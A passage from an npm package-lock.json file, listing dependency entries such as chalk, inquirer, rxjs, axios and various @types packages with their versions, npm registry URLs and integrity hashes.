"version": "2.5.0", "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.5.0.tgz", "integrity": "sha512-336iVw3rtn2BUK7ORdIAHTyxHGRIHVReokCR3XjbckJMK7ms8FysBfhLR8IXnAgy7T0PTPNBWKiH514FOW/WSg==" } } }, "ansi-escapes": { "version": "4.3.2", "resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-4.3.2.tgz", "integrity": "sha512-gKXj5ALrKWQLsYG9jlTRmR/xKluxHV+Z9QEwNIgCfM1/uwPMCuzVVnh5mwTd+OuBZcwSIMbqssNWRm1lE51QaQ==", "requires": { "type-fest": "^0.21.3" } }, "ansi-regex": { "version": "5.0.1", "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==" }, "ansi-styles": { "version": "4.3.0", "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", "requires": { "color-convert": "^2.0.1" } }, "chalk": { "version": "4.1.2", "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", "requires": { "ansi-styles": "^4.1.0", "supports-color": "^7.1.0" } }, "chardet": { "version": "0.7.0", "resolved": "https://registry.npmjs.org/chardet/-/chardet-0.7.0.tgz", "integrity": "sha512-mT8iDcrh03qDGRRmoA2hmBJnxpllMR+0/0qlzjqZES6NdiWDcZkCNAk4rPFZ9Q85r27unkiNNg8ZOiwZXBHwcA==" }, "cli-width": { "version": "3.0.0", "resolved": "https://registry.npmjs.org/cli-width/-/cli-width-3.0.0.tgz", "integrity": "sha512-FxqpkPPwu1HjuN93Omfm4h8uIanXofW0RxVEW3k5RKx+mJJYSthzNhp32Kzxxy3YAEZ/Dc/EWN1vZRY0+kOhbw==" }, "color-convert": { "version": "2.0.1", "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", "requires": { "color-name": "~1.1.4" } }, "color-name": { "version": "1.1.4", "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==" }, "commander": { "version": "8.3.0", "resolved": "https://registry.npmjs.org/commander/-/commander-8.3.0.tgz", "integrity": "sha512-OkTL9umf+He2DZkUq8f8J9of7yL6RJKI24dVITBmNfZBmri9zYZQrKkuXiKhyfPSu8tUhnVBB1iKXevvnlR4Ww==" }, "external-editor": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/external-editor/-/external-editor-3.1.0.tgz", "integrity": "sha512-hMQ4CX1p1izmuLYyZqLMO/qGNw10wSv9QDCPfzXfyFrOaCSSoRfqE1Kf1s5an66J5JZC62NewG+mK49jOCtQew==", "requires": { "chardet": "^0.7.0", "iconv-lite": "^0.4.24", "tmp": "^0.0.33" } }, "fs-extra": { "version": "10.1.0", "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-10.1.0.tgz", "integrity": "sha512-oRXApq54ETRj4eMiFzGnHWGy+zo5raudjuxN0b8H7s/RU2oW0Wvsx9O0ACRN/kRq9E8Vu/ReskGB5o3ji+FzHQ==", "requires": { "graceful-fs": "^4.2.0", "jsonfile": "^6.0.1", "universalify": "^2.0.0" } }, "has-flag": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==" }, "inquirer": { "version": "8.2.5", "resolved": "https://registry.npmjs.org/inquirer/-/inquirer-8.2.5.tgz", "integrity": "sha512-QAgPDQMEgrDssk1XiwwHoOGYF9BAbUcc1+j+FhEvaOt8/cKRqyLn0U5qA6F74fGhTMGxf92pOvPBeh29jQJDTQ==", "requires": { "ansi-escapes": "^4.2.1", "chalk": "^4.1.1", "cli-cursor": "^3.1.0", "cli-width": "^3.0.0", "external-editor": "^3.0.3", "figures": "^3.0.0", "lodash": "^4.17.21", "mute-stream": "0.0.8", "ora": "^5.4.1", "run-async": "^2.4.0", "rxjs": "^7.5.5", "string-width": "^4.1.0", "strip-ansi": "^6.0.0", "through": "^2.3.6", "wrap-ansi": "^7.0.0" } }, "mute-stream": { "version": "0.0.8", "resolved": "https://registry.npmjs.org/mute-stream/-/mute-stream-0.0.8.tgz", "integrity": "sha512-nnbWWOkoWyUsTjKrhgD0dcz22mdkSnpYqbEjIm2nhwhuxlSkpywJmBo8h0ZqJdkp73mb90SssHkN4rsRaBAfAA==" }, "rxjs": { "version": "7.8.0", "resolved": "https://registry.npmjs.org/rxjs/-/rxjs-7.8.0.tgz", "integrity": "sha512-F2+gxDshqmIub1KdvZkaEfGDwLNpPvk9Fs6LD/MyQxNgMds/WH9OdDDXOmxUZpME+iSK3rQCctkL0DYyytUqMg==", "requires": { "tslib": "^2.1.0" }, "dependencies": { "tslib": { "version": "2.5.0", "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.5.0.tgz", "integrity": "sha512-336iVw3rtn2BUK7ORdIAHTyxHGRIHVReokCR3XjbckJMK7ms8FysBfhLR8IXnAgy7T0PTPNBWKiH514FOW/WSg==" } } }, "strip-ansi": { "version": "6.0.1", "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-6.0.1.tgz", "integrity": "sha512-Y38VPSHcqkFrCpFnQ9vuSXmquuv5oXOKpGeT6aGrr3o3Gc9AlVa6JBfUSOCnbxGGZF+/0ooI7KrPuUSztUdU5A==", "requires": { "ansi-regex": "^5.0.1" } }, "supports-color": { "version": "7.2.0", "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", "requires": { "has-flag": "^4.0.0" } }, "tslib": { "version": "2.0.3", "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.0.3.tgz", "integrity": "sha512-uZtkfKblCEQtZKBF6EBXVZeQNl82yqtDQdv+eck8u7tdPxjLu2/lp5/uPW+um2tpuxINHWy3GhiccY7QgEaVHQ==" } } }, "@sideway/address": { "version": "4.1.4", "resolved": "https://registry.npmjs.org/@sideway/address/-/address-4.1.4.tgz", "integrity": "sha512-7vwq+rOHVWjyXxVlR76Agnvhy8I9rpzjosTESvmhNeXOXdZZB15Fl+TI9x1SiHZH5Jv2wTGduSxFDIaq0m3DUw==", "dev": true, "requires": { "@hapi/hoek": "^9.0.0" } }, "@sideway/formula": { "version": "3.0.1", "resolved": "https://registry.npmjs.org/@sideway/formula/-/formula-3.0.1.tgz", "integrity": "sha512-/poHZJJVjx3L+zVD6g9KgHfYnb443oi7wLu/XKojDviHy6HOEOA6z1Trk5aR1dGcmPenJEgb2sK2I80LeS3MIg==", "dev": true }, "@sideway/pinpoint": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/@sideway/pinpoint/-/pinpoint-2.0.0.tgz", "integrity": "sha512-RNiOoTPkptFtSVzQevY/yWtZwf/RxyVnPy/OcA9HBM3MlGDnBEYL5B41H0MTn0Uec8Hi+2qUtTfG2WWZBmMejQ==", "dev": true }, "@textlint/ast-node-types": { "version": "12.2.2", "resolved": "https://registry.npmjs.org/@textlint/ast-node-types/-/ast-node-types-12.2.2.tgz", "integrity": "sha512-VQAXUSGdmEajHXrMxeM9ZTS8UBJSVB0ghJFHpFfqYKlcDsjIqClSmTprY6521HoCoSLoUIGBxTC3jQyUMJFIWw==" }, "@textlint/markdown-to-ast": { "version": "12.2.2", "resolved": "https://registry.npmjs.org/@textlint/markdown-to-ast/-/markdown-to-ast-12.2.2.tgz", "integrity": "sha512-OP0cnGCzt8Bbfhn8fO/arQSHBhmuXB4maSXH8REJAtKRpTADWOrbuxAOaI9mjQ7EMTDiml02RZ9MaELQAWAsqQ==", "requires": { "@textlint/ast-node-types": "^12.2.2", "debug": "^4.3.4", "mdast-util-gfm-autolink-literal": "^0.1.0", "remark-footnotes": "^3.0.0", "remark-frontmatter": "^3.0.0", "remark-gfm": "^1.0.0", "remark-parse": "^9.0.0", "traverse": "^0.6.6", "unified": "^9.2.2" }, "dependencies": { "debug": { "version": "4.3.4", "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.4.tgz", "integrity": "sha512-PRWFHuSU3eDtQJPvnNY7Jcket1j0t5OuOsFzPPzsekD52Zl8qUfFIPEiswXqIvHWGVHOgX+7G/vCNNhehwxfkQ==", "requires": { "ms": "2.1.2" } } } }, "@types/glob": { "version": "7.2.0", "resolved": "https://registry.npmjs.org/@types/glob/-/glob-7.2.0.tgz", "integrity": "sha512-ZUxbzKl0IfJILTS6t7ip5fQQM/J3TJYubDm3nMbgubNNYS62eXeUpoLUC8/7fJNiFYHTrGPQn7hspDUzIHX3UA==", "dev": true, "requires": { "@types/minimatch": "*", "@types/node": "*" } }, "@types/mdast": { "version": "3.0.10", "resolved": "https://registry.npmjs.org/@types/mdast/-/mdast-3.0.10.tgz", "integrity": "sha512-W864tg/Osz1+9f4lrGTZpCSO5/z4608eUp19tbozkq2HJK6i3z1kT0H9tlADXuYIb1YYOBByU4Jsqkk75q48qA==", "requires": { "@types/unist": "*" } }, "@types/minimatch": { "version": "5.1.2", "resolved": "https://registry.npmjs.org/@types/minimatch/-/minimatch-5.1.2.tgz", "integrity": "sha512-K0VQKziLUWkVKiRVrx4a40iPaxTUefQmjtkQofBkYRcoaaL/8rhwDWww9qWbrgicNOgnpIsMxyNIUM4+n6dUIA==", "dev": true }, "@types/minimist": { "version": "1.2.2", "resolved": "https://registry.npmjs.org/@types/minimist/-/minimist-1.2.2.tgz", "integrity": "sha512-jhuKLIRrhvCPLqwPcx6INqmKeiA5EWrsCOPhrlFSrbrmU4ZMPjj5Ul/oLCMDO98XRUIwVm78xICz4EPCektzeQ==" }, "@types/node": { "version": "14.17.5", "resolved": "https://registry.npmjs.org/@types/node/-/node-14.17.5.tgz", "integrity": "sha512-bjqH2cX/O33jXT/UmReo2pM7DIJREPMnarixbQ57DOOzzFaI6D2+IcwaJQaJpv0M1E9TIhPCYVxrkcityLjlqA==", "dev": true }, "@types/normalize-package-data": { "version": "2.4.1", "resolved": "https://registry.npmjs.org/@types/normalize-package-data/-/normalize-package-data-2.4.1.tgz", "integrity": "sha512-Gj7cI7z+98M282Tqmp2K5EIsoouUEzbBJhQQzDE3jSIRk6r9gsz0oUokqIUR4u1R3dMHo0pDHM7sNOHyhulypw==" }, "@types/sinonjs__fake-timers": { "version": "8.1.1", "resolved": "https://registry.npmjs.org/@types/sinonjs__fake-timers/-/sinonjs__fake-timers-8.1.1.tgz", "integrity": "sha512-0kSuKjAS0TrGLJ0M/+8MaFkGsQhZpB6pxOmvS3K8FYI72K//YmdfoW9X2qPsAKh1mkwxGD5zib9s1FIFed6E8g==", "dev": true }, "@types/sizzle": { "version": "2.3.2", "resolved": "https://registry.npmjs.org/@types/sizzle/-/sizzle-2.3.2.tgz", "integrity": "sha512-7EJYyKTL7tFR8+gDbB6Wwz/arpGa0Mywk1TJbNzKzHtzbwVmY4HR9WqS5VV7dsBUKQmPNr192jHr/VpBluj/hg==", "dev": true }, "@types/unist": { "version": "2.0.6", "resolved": "https://registry.npmjs.org/@types/unist/-/unist-2.0.6.tgz", "integrity": "sha512-PBjIUxZHOuj0R15/xuwJYjFi+KZdNFrehocChv4g5hu6aFroHue8m0lBP0POdK2nKzbw0cgV1mws8+V/JAcEkQ==" }, "@types/yauzl": { "version": "2.9.2", "resolved": "https://registry.npmjs.org/@types/yauzl/-/yauzl-2.9.2.tgz", "integrity": "sha512-8uALY5LTvSuHgloDVUvWP3pIauILm+8/0pDMokuDYIoNsOkSwd5AiHBTSEJjKTDcZr5z8UpgOWZkxBF4iJftoA==", "dev": true, "optional": true, "requires": { "@types/node": "*" } }, "abbrev": { "version": "1.1.1", "resolved": "https://registry.npmjs.org/abbrev/-/abbrev-1.1.1.tgz", "integrity": "sha512-nne9/IiQ/hzIhY6pdDnbBtz7DjPTKrY00P/zvPSm5pOFkl6xuGrGnXn/VtTNNfNtAfZ9/1RtehkszU9qcTii0Q==", "dev": true }, "acorn": { "version": "6.4.1", "resolved": "https://registry.npmjs.org/acorn/-/acorn-6.4.1.tgz", "integrity": "sha512-ZVA9k326Nwrj3Cj9jlh3wGFutC2ZornPNARZwsNYqQYgN0EsV2d53w5RN/co65Ohn4sUAUtb1rSUAOD6XN9idA==", "dev": true }, "acorn-jsx": { "version": "5.0.1", "resolved": "https://registry.npmjs.org/acorn-jsx/-/acorn-jsx-5.0.1.tgz", "integrity": "sha512-HJ7CfNHrfJLlNTzIEUTj43LNWGkqpRLxm3YjAlcD0ACydk9XynzYsCBHxut+iqt+1aBXkx9UP/w/ZqMr13XIzg==", "dev": true }, "add-stream": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/add-stream/-/add-stream-1.0.0.tgz", "integrity": "sha512-qQLMr+8o0WC4FZGQTcJiKBVC59JylcPSrTtk6usvmIDFUOCKegapy1VHQwRbFMOFyb/inzUVqHs+eMYKDM1YeQ==" }, "aggregate-error": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/aggregate-error/-/aggregate-error-3.1.0.tgz", "integrity": "sha512-4I7Td01quW/RpocfNayFdFVk1qSuoh0E7JrbRJ16nH01HhKFQ88INq9Sd+nd72zqRySlr9BmDA8xlEJ6vJMrYA==", "dev": true, "requires": { "clean-stack": "^2.0.0", "indent-string": "^4.0.0" } }, "ajv": { "version": "6.12.6", "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz", "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==", "dev": true, "requires": { "fast-deep-equal": "^3.1.1", "fast-json-stable-stringify": "^2.0.0", "json-schema-traverse": "^0.4.1", "uri-js": "^4.2.2" } }, "ajv-keywords": { "version": "3.4.0", "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.4.0.tgz", "integrity": "sha512-aUjdRFISbuFOl0EIZc+9e4FfZp0bDZgAdOOf30bJmw8VM9v84SHyVyxDfbWxpGYbdZD/9XoKxfHVNmxPkhwyGw==", "dev": true }, "anchor-markdown-header": { "version": "0.6.0", "resolved": "https://registry.npmjs.org/anchor-markdown-header/-/anchor-markdown-header-0.6.0.tgz", "integrity": "sha512-v7HJMtE1X7wTpNFseRhxsY/pivP4uAJbidVhPT+yhz4i/vV1+qx371IXuV9V7bN6KjFtheLJxqaSm0Y/8neJTA==", "requires": { "emoji-regex": "~10.1.0" }, "dependencies": { "emoji-regex": { "version": "10.1.0", "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-10.1.0.tgz", "integrity": "sha512-xAEnNCT3w2Tg6MA7ly6QqYJvEoY1tm9iIjJ3yMKK9JPlWuRHAMoe5iETwQnx3M9TVbFMfsrBgWKR+IsmswwNjg==" } } }, "ansi-colors": { "version": "4.1.1", "resolved": "https://registry.npmjs.org/ansi-colors/-/ansi-colors-4.1.1.tgz", "integrity": "sha512-JoX0apGbHaUJBNl6yF+p6JAFYZ666/hhCGKN5t9QFjbJQKUU/g8MNbFDbvfrgKXvI1QpZplPOnwIo99lX/AAmA==", "dev": true }, "ansi-escapes": { "version": "3.2.0", "resolved": "https://registry.npmjs.org/ansi-escapes/-/ansi-escapes-3.2.0.tgz", "integrity": "sha512-cBhpre4ma+U0T1oM5fXg7Dy1Jw7zzwv7lt/GoCpr+hDQJoYnKVPLL4dCvSEFMmQurOQvSrwT7SL/DAlhBI97RQ==", "dev": true }, "ansi-regex": { "version": "2.1.1", "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-2.1.1.tgz", "integrity": "sha1-w7M6te42DYbg5ijwRorn7yfWVN8=", "dev": true }, "ansi-styles": { "version": "2.2.1", "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-2.2.1.tgz", "integrity": "sha1-tDLdM1i2NM914eRmQ2gkBTPB3b4=", "dev": true }, "arch": { "version": "2.2.0", "resolved": "https://registry.npmjs.org/arch/-/arch-2.2.0.tgz", "integrity": "sha512-Of/R0wqp83cgHozfIYLbBMnej79U/SVGOOyuB3VVFv1NRM/PSFMK12x9KVtiYzJqmnU5WR2qp0Z5rHb7sWGnFQ==", "dev": true }, "argparse": { "version": "1.0.10", "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz", "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==", "dev": true, "requires": { "sprintf-js": "~1.0.2" } }, "array-find-index": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/array-find-index/-/array-find-index-1.0.2.tgz", "integrity": "sha512-M1HQyIXcBGtVywBt8WVdim+lrNaK7VHp99Qt5pSNziXznKHViIBbXWtfRTpEFpF/c4FdfxNAsCCwPp5phBYJtw==", "dev": true }, "array-ify": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/array-ify/-/array-ify-1.0.0.tgz", "integrity": "sha512-c5AMf34bKdvPhQ7tBGhqkgKNUzMr4WUs+WDtC2ZUGOUncbxKMTvqxYctiseW3+L4bA8ec+GcZ6/A/FW4m8ukng==" }, "array-includes": { "version": "3.0.3", "resolved": "https://registry.npmjs.org/array-includes/-/array-includes-3.0.3.tgz", "integrity": "sha1-GEtI9i2S10UrsxsyMWXH+L0CJm0=", "dev": true, "requires": { "define-properties": "^1.1.2", "es-abstract": "^1.7.0" } }, "array-union": { "version": "2.1.0", "resolved": "https://registry.npmjs.org/array-union/-/array-union-2.1.0.tgz", "integrity": "sha512-HGyxoOTYUyCM6stUe6EJgnd4EoewAI7zMdfqO+kGjnlZmBDz/cR5pf8r/cR4Wq60sL/p0IkcjUEEPwS3GFrIyw==", "dev": true }, "arrify": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/arrify/-/arrify-1.0.1.tgz", "integrity": "sha512-3CYzex9M9FGQjCGMGyi6/31c8GJbgb0qGyrx5HWxPd0aCwh4cB2YjMb2Xf9UuoogrMrlO9cTqnB5rI5GHZTcUA==" }, "asap": { "version": "2.0.6", "resolved": "https://registry.npmjs.org/asap/-/asap-2.0.6.tgz", "integrity": "sha512-BSHWgDSAiKs50o2Re8ppvp3seVHXSRM44cdSsT9FfNEUUZLOGWVCsiWaRPWM1Znn+mqZ1OfVZ3z3DWEzSp7hRA==", "dev": true }, "asn1": { "version": "0.2.4", "resolved": "https://registry.npmjs.org/asn1/-/asn1-0.2.4.tgz", "integrity": "sha512-jxwzQpLQjSmWXgwaCZE9Nz+glAG01yF1QnWgbhGwHI5A6FRIEY6IVqtHhIepHqI7/kyEyQEagBC5mBEFlIYvdg==", "dev": true, "requires": { "safer-buffer": "~2.1.0" } }, "assert-plus": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/assert-plus/-/assert-plus-1.0.0.tgz", "integrity": "sha1-8S4PPF13sLHN2RRpQuTpbB5N1SU=", "dev": true }, "astral-regex": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/astral-regex/-/astral-regex-2.0.0.tgz", "integrity": "sha512-Z7tMw1ytTXt5jqMcOP+OQteU1VuNK9Y02uuJtKQ1Sv69jXQKKg5cibLwGJow8yzZP+eAc18EmLGPal0bp36rvQ==", "dev": true }, "async": { "version": "3.2.3", "resolved": "https://registry.npmjs.org/async/-/async-3.2.3.tgz", "integrity": "sha512-spZRyzKL5l5BZQrr/6m/SqFdBN0q3OCI0f9rjfBzCMBIP4p75P620rR3gTmaksNOhmzgdxcaxdNfMy6anrbM0g==", "dev": true }, "asynckit": { "version": "0.4.0", "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz", "integrity": "sha1-x57Zf380y48robyXkLzDZkdLS3k=" }, "at-least-node": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/at-least-node/-/at-least-node-1.0.0.tgz", "integrity": "sha512-+q/t7Ekv1EDY2l6Gda6LLiX14rU9TV20Wa3ofeQmwPFZbOMo9DXrLbOjFaaclkXKWidIaopwAObQDqwWtGUjqg==", "dev": true }, "aws-sign2": { "version": "0.7.0", "resolved": "https://registry.npmjs.org/aws-sign2/-/aws-sign2-0.7.0.tgz", "integrity": "sha1-tG6JCTSpWR8tL2+G1+ap8bP+dqg=", "dev": true }, "aws4": { "version": "1.8.0", "resolved": "https://registry.npmjs.org/aws4/-/aws4-1.8.0.tgz", "integrity": "sha512-ReZxvNHIOv88FlT7rxcXIIC0fPt4KZqZbOlivyWtXLt8ESx84zd3kMC6iK5jVeS2qt+g7ftS7ye4fi06X5rtRQ==", "dev": true }, "axios": { "version": "0.27.2", "resolved": "https://registry.npmjs.org/axios/-/axios-0.27.2.tgz", "integrity": "sha512-t+yRIyySRTp/wua5xEr+z1q60QmLq8ABsS5O9Me1AsE5dfKqgnCFzwiCZZ/cGNd1lq4/7akDWMxdhVlucjmnOQ==", "requires": { "follow-redirects": "^1.14.9", "form-data": "^4.0.0" }, "dependencies": { "form-data": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.0.tgz", "integrity": "sha512-ETEklSGi5t0QMZuiXoA/Q6vcnxcLQP5vdugSpuAyi6SVGi2clPPp+xgEhuMaHC+zGgn31Kd235W35f7Hykkaww==", "requires": { "asynckit": "^0.4.0", "combined-stream": "^1.0.8", "mime-types": "^2.1.12" } } } }, "babel-code-frame": { "version": "6.26.0", "resolved": "https://registry.npmjs.org/babel-code-frame/-/babel-code-frame-6.26.0.tgz", "integrity": "sha1-Y/1D99weO7fONZR9uP42mj9Yx0s=", "dev": true, "requires": { "chalk": "^1.1.3", "esutils": "^2.0.2", "js-tokens": "^3.0.2" }, "dependencies": { "chalk": { "version": "1.1.3", "resolved": "https://registry.npmjs.org/chalk/-/chalk-1.1.3.tgz", "integrity": "sha1-qBFcVeSnAv5NFQq9OHKCKn4J/Jg=", "dev": true, "requires": { "ansi-styles": "^2.2.1", "escape-string-regexp": "^1.0.2", "has-ansi": "^2.0.0", "strip-ansi": "^3.0.0", "supports-color": "^2.0.0" } }, "supports-color": { "version": "2.0.0", "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-2.0.0.tgz", "integrity": "sha1-U10EXOa2Nj+kARcIRimZXp3zJMc=", "dev": true } } }, "bail": { "version": "1.0.5", "resolved": "https://registry.npmjs.org/bail/-/bail-1.0.5.tgz", "integrity": "sha512-xFbRxM1tahm08yHBP16MMjVUAvDaBMD38zsM9EMAUN61omwLmKlOpB/Zku5QkjZ8TZ4vn53pj+t518cH0S03RQ==" }, "balanced-match": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.0.tgz", "integrity": "sha1-ibTRmasr7kneFk6gK4nORi1xt2c=" }, "base64-js": { "version": "1.5.1", "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz", "integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==" }, "bcrypt-pbkdf": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/bcrypt-pbkdf/-/bcrypt-pbkdf-1.0.2.tgz", "integrity": "sha1-pDAdOJtqQ/m2f/PKEaP2Y342Dp4=", "dev": true, "requires": { "tweetnacl": "^0.14.3" } }, "bl": { "version": "4.1.0", "resolved": "https://registry.npmjs.org/bl/-/bl-4.1.0.tgz", "integrity": "sha512-1W07cM9gS6DcLperZfFSj+bWLtaPGSOHWhPiGzXmvVJbRLdG82sH/Kn8EtW1VqWVA54AKf2h5k5BbnIbwF3h6w==", "requires": { "buffer": "^5.5.0", "inherits": "^2.0.4", "readable-stream": "^3.4.0" } }, "blob-util": { "version": "2.0.2", "resolved": "https://registry.npmjs.org/blob-util/-/blob-util-2.0.2.tgz", "integrity": "sha512-T7JQa+zsXXEa6/8ZhHcQEW1UFfVM49Ts65uBkFL6fz2QmrElqmbajIDJvuA0tEhRe5eIjpV9ZF+0RfZR9voJFQ==", "dev": true }, "bluebird": { "version": "3.7.2", "resolved": "https://registry.npmjs.org/bluebird/-/bluebird-3.7.2.tgz", "integrity": "sha512-XpNj6GDQzdfW+r2Wnn7xiSAd7TM3jzkxGXBGTtWKuSXv1xUV+azxAm8jdWZN06QTQk+2N2XB9jRDkvbmQmcRtg==", "dev": true }, "brace-expansion": { "version": "1.1.11", "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.11.tgz", "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==", "requires": { "balanced-match": "^1.0.0", "concat-map": "0.0.1" } }, "braces": { "version": "3.0.2", "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", "dev": true, "requires": { "fill-range": "^7.0.1" } }, "buffer": { "version": "5.7.1", "resolved": "https://registry.npmjs.org/buffer/-/buffer-5.7.1.tgz", "integrity": "sha512-EHcyIPBQ4BSGlvjB16k5KgAJ27CIsHY/2JBmCRReo48y9rQ3MaUzWX3KVlBa4U7MyX02HdVj0K7C3WaB3ju7FQ==", "requires": { "base64-js": "^1.3.1", "ieee754": "^1.1.13" } }, "buffer-crc32": { "version": "0.2.13", "resolved": "https://registry.npmjs.org/buffer-crc32/-/buffer-crc32-0.2.13.tgz", "integrity": "sha1-DTM+PwDqxQqhRUq9MO+MKl2ackI=", "dev": true }, "buffer-equal-constant-time": { "version": "1.0.1", "resolved": "https://registry.npmjs.org/buffer-equal-constant-time/-/buffer-equal-constant-time-1.0.1.tgz", "integrity": "sha1-+OcRMvf/5uAaXJaXpMbz5I1cyBk=", "dev": true }, "cachedir": { "version": "2.3.0", "resolved": "https://registry.npmjs.org/cachedir/-/cachedir-2.3.0.tgz", "integrity": "sha512-A+Fezp4zxnit6FanDmv9EqXNAi3vt9DWp51/71UEhXukb7QUuvtv9344h91dyAxuTLoSYJFU299qzR3tzwPAhw==", "dev": true }, "call-bind": { "version": "1.0.2", "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.2.tgz", "integrity": "sha512-7O+FbCihrB5WGbFYesctwmTKae6rOiIzmz1icreWJ+0aA7LJfuqhEso2T9ncpcFtzMQtzXf2QGGueWJGTYsqrA==", "dev": true, "requires": { "function-bind": "^1.1.1", "get-intrinsic": "^1.0.2" } }, "caller-path": { "version": "0.1.0", "resolved": "https://registry.npmjs.org/caller-path/-/caller-path-0.1.0.tgz", "integrity": "sha1-lAhe9jWB7NPaqSREqP6U6CV3dR8=", "dev": true, "requires": { "callsites": "^0.2.0" } }, "callsites": { "version": "0.2.0", "resolved": "https://registry.npmjs.org/callsites/-/callsites-0.2.0.tgz", "integrity": "sha1-r6uWJikQp/M8GaV3WCXGnzTjUMo=", "dev": true }, "camelcase": { "version": "5.3.1", "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-5.3.1.tgz", "integrity": "sha512-L28STB170nwWS63UjtlEOE3dldQApaJXZkOI1uMFfzf3rRuPegHaHesyee+YxQ+W6SvRDQV6UrdOdRiR153wJg==" }, "camelcase-keys": { "version": "6.2.2", "resolved": "https://registry.npmjs.org/camelcase-keys/-/camelcase-keys-6.2.2.tgz", "integrity": "sha512-YrwaA0vEKazPBkn0ipTiMpSajYDSe+KjQfrjhcBMxJt/znbvlHd8Pw/Vamaz5EB4Wfhs3SUR3Z9mwRu/P3s3Yg==", "requires": { "camelcase": "^5.3.1", "map-obj": "^4.0.0", "quick-lru": "^4.0.1" } }, "caseless": { "version": "0.12.0", "resolved": "https://registry.npmjs.org/caseless/-/caseless-0.12.0.tgz", "integrity": "sha1-G2gcIf+EAzyCZUMJBolCDRhxUdw=", "dev": true }, "ccount": { "version": "1.1.0", "resolved": "https://registry.npmjs.org/ccount/-/ccount-1.1.0.tgz", "integrity": "sha512-vlNK021QdI7PNeiUh/lKkC/mNHHfV0m/Ad5JoI0TYtlBnJAslM/JIkm/tGC88bkLIwO6OQ5uV6ztS6kVAtCDlg==" }, "chalk": { "version": "2.4.2", "resolved": "https://registry.npmjs.org/chalk/-/chalk-2.4.2.tgz", "integrity": "sha512-Mti+f9lpJNcwF4tWV8/OrTTtF1gZi+f8FqlyAdouralcFWFQWF2+NgCHShjkCb+IFBLq9buZwE1xckQU4peSuQ==", "requires": { "ansi-styles": "^3.2.1", "escape-string-regexp": "^1.0.5", "supports-color": "^5.3.0" }, "dependencies": { "ansi-styles": { "version": "3.2.1", 